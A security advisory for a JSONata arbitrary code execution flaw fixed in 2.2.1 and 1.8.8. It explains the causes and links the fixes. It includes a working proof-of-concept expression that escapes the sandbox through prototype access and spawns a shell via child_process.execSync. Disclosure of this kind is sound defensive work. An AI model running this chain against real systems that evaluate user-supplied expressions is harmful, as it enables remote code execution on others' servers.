Summary
JSONata vulnerable to Arbitrary Code Execution via crafted JSONata expressions
Advisory details
Before JSONata 2.2.1 and 1.8.8 it was possible to execute arbitrary code with
crafted expressions, due to:
- overwriting
$cloneallowing mutation of objects via transforms (seeevaluateTransformExpression) - it being possible to destruct jsonata functions/lambdas (e.g.
$merge.*) - applyProcedure
using
proc.arguments.forEachand notArray.prototype.forEach
Which could be chained to execute arbitrary code.
This was fixed with:
- https://github.com/jsonata-js/jsonata/pull/799 (https://github.com/jsonata-js/jsonata/pull/799/changes#diff-de23c1b6e199d0e59406a284aae5fa7be63fcbbff706829913dba73dcdeb061cL1673-R1673)
- https://github.com/jsonata-js/jsonata/pull/800
- https://github.com/jsonata-js/jsonata/pull/802
Which are included in the 2.2.1 release. Fixes were then back-ported to the 1.8.8 release.
PoC
import jsonata from "jsonata";
const expression = jsonata(`
(
$obj := {};
$clone := function($o) { $o };
$m := ($merge.*)[1];
$fn := function($a) {
(
$a({"value":"lg"},"__lookupGetter__");
$a({"value":"x"},"x");
)
};
$nop := function() { $ };
$capture := function($val) {
$obj ~> | $obj | {"x": 1, "y": 1, "lg":$lg} |
};
$ ~> | $ | $m([$nop,{"_jsonata_lambda":false}])|;
$ ~> | $ | {"arguments":{"forEach": $spread($fn)}}|;
$ ~> | $ | {"body":$m([$capture,{"_jsonata_lambda":false}]).body}|;
$func := $m([$,{"_jsonata_lambda":true}]);
$func();
$gP := $obj.lg("__proto__");
$afn:=$spread($fn);
$afn{"x":$gP().constructor("return process.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'})")()};
)
`);
await expression.evaluate({});
References
References
- https://github.com/advisories/GHSA-66mm-25pp-rfff
- https://github.com/jsonata-js/jsonata/security/advisories/GHSA-66mm-25pp-rfff
- https://github.com/jsonata-js/jsonata/pull/799
- https://github.com/jsonata-js/jsonata/pull/800
- https://github.com/jsonata-js/jsonata/pull/802
- https://github.com/jsonata-js/jsonata/commit/47c0e58542202c705726663166dbee5fcae47d06
- https://github.com/jsonata-js/jsonata/commit/4b217d514376e30cba278941298d7ba97c4a6c6e
- https://github.com/jsonata-js/jsonata/commit/59e25144fc3b7125f6befd71b8a6e14e1fa610d2
Related vulnerabilities
All Supply chain →- HIGHCVE-2026-75911
CodeWhale: Project config `allow_shell` override enables arbitrary shell command execution via cloned repository
- HIGHCVE-2026-75858
CodeWhale: rlm_eval auto-approves arbitrary Python execution, bypassing the user's approval policy (RCE)
- CRITICALCVE-2026-62681
Orval: RCE via OpenAPI path -> unescaped request-URL template literal (backtick breakout)
- CRITICALCVE-2026-62682
Orval: RCE via servers[].url -> unescaped request-URL template literal (with getBaseUrlFromSpecification)
- CRITICALCVE-2026-72717
Orval: Import-time RCE via schema default -> zod module-level template literal
- CRITICALCVE-2026-71869
Orval: Import-time RCE via array-items default -> zod module-level template literal